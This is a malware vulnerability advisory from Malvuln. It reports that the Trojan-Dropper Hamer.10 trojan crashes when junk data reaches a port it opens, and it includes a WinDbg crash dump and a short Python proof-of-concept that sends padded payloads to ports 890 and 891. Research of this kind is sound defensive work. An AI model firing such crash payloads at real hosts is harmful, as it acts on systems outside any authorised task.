Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/afe4e5219829a286e0b84025b073c259.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Hamer.10 Vulnerability: Remote Floating-point Exception DoS Description: Trojan Hamer.10 listens on TCP port 890, after receiving a SYN packet it also opens up TCP port 891. Sending an arbitrary junk payload to port 891 results in Floating-point exception and malware crash. Therefore, to exploit this issue we can send two consecutive packets one to port 890 which will in turn open port 891 . Type: PE32 MD5: afe4e5219829a286e0b84025b073c259 Vuln ID: MVID-2021-0125 Dropped files: winlogon.exe ASLR: False DEP: False Safe SEH: True Disclosure: 03/10/2021 Memory Dump: (3c4.e4c): Unknown exception - code c000008f (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003 edi=00000003 eip=7710ed3c esp=0019f238 ebp=0019f3c8 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7710ed3c c21400 ret 14h 0:000> .ecxr eax=0019fb38 ebx=00412b44 ecx=00000002 edx=00000000 esi=0019fc1c edi=026599b0 eip=75eb08f2 esp=0019fb38 ebp=0019fb94 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fb8c=3924e764 *** ERROR: Symbol file could not be found. Defaulted to export symbols for msvbvm60.dll - 0:000> .exr -1 ExceptionAddress: 75eb08f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: c000008f ExceptionFlags: 00000001 NumberParameters: 2 Parameter[0]: deadcafe Parameter[1]: deadcafe 0:000> !gle LastErrorValue: (Win32) 0 (0) - The operation completed successfully. LastStatusValue: (NTSTATUS) 0xc000008a - Indicates the specified resource type cannot be found in the image file. 0:000> !error c000008f Error code: (NTSTATUS) 0xc000008f (3221225615) - {EXCEPTION} Floating-point inexact result. 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for winlogon.exe *** ERROR: Module load completed but symbols could not be loaded for winlogon.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: KERNELBASE!RaiseException+62 75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 75eb08f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: c000008f ExceptionFlags: 00000001 NumberParameters: 2 Parameter[0]: deadcafe Parameter[1]: deadcafe PROCESS_NAME: winlogon.exe OVERLAPPED_MODULE: Address regions for 'NapiNSP' and 'wshom.ocx' overlap ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result. EXCEPTION_PARAMETER1: deadcafe EXCEPTION_PARAMETER2: deadcafe MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000e4c DEFAULT_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT PRIMARY_PROBLEM_CLASS: STATUS_FLOAT_INEXACT_RESULT BUGCHECK_STR: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT LAST_CONTROL_TRANSFER: from 660d0dcf to 75eb08f2 STACK_TEXT: 0019fb94 660d0dcf c000008f 00000001 00000002 KERNELBASE!RaiseException+0x62 WARNING: Stack unwind information not available. Following frames may be wrong. 0019fbb4 66101d44 00000000 00000000 00000002 msvbvm60!EbGetHandleOfExecutingProject+0x22b3 0019fca0 76eee0bb 00419054 001a012e 0000c216 msvbvm60!ProcCallEngine+0x4ce7 0019fcd0 76ef8849 004043b4 001a012e 0000c216 user32!_InternalCallWinProc+0x2b 0019fcf4 76efb145 0000c216 000002c4 00000001 user32!InternalCallWinProc+0x20 0019fdc4 76ee90dc 004043b4 00000000 0000c216 user32!UserCallWinProcCheckWow+0x1be 0019fe30 76ee38c0 0019fe78 6600a6c8 0019fe50 user32!DispatchMessageWorker+0x4ac 0019fe38 6600a6c8 0019fe50 ffffffff 04091e54 user32!DispatchMessageA+0x10 0019fe78 6600a63f ffffffff 04091e7c 04090000 msvbvm60!_vbaStrToAnsi+0x2f1 0019febc 6600a51d 04091f4c ffffffff 000003c4 msvbvm60!_vbaStrToAnsi+0x268 0019fed8 6600a4e8 04091e78 04091f4c ffffffff msvbvm60!_vbaStrToAnsi+0x146 0019fefc 66003644 ffffffff 0041de90 0041de90 msvbvm60!_vbaStrToAnsi+0x111 00353000 ffffffff 00400000 771b7be0 02651928 msvbvm60!ThunRTMain+0xa0 00000000 00000000 00000000 00000000 00000000 0xffffffff STACK_COMMAND: ~0s; .ecxr ; kb FOLLOWUP_IP: user32!_InternalCallWinProc+2b 76eee0bb 648025ca0f0000fe and byte ptr fs:[0FCAh],0FEh SYMBOL_STACK_INDEX: 3 SYMBOL_NAME: user32!_InternalCallWinProc+2b FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc BUCKET_ID: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=890 PAYLOAD="Open port 891 please!\r\n\r\n" cnt=0 def doit(): global PORT, cnt cnt+=1 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*710+" HTTP/.1"+"A"*2000+"\r\n\r\n" s.send(PAYLOAD) s.close() time.sleep(1) #Recursion check if cnt < 2: #Increment the vuln port PORT += 1 #BOOM doit() print("Trojan-Dropper.Win32.Hamer.10 / Remote Floating-point Exception DoS") print("MD5: afe4e5219829a286e0b84025b073c259") print("By Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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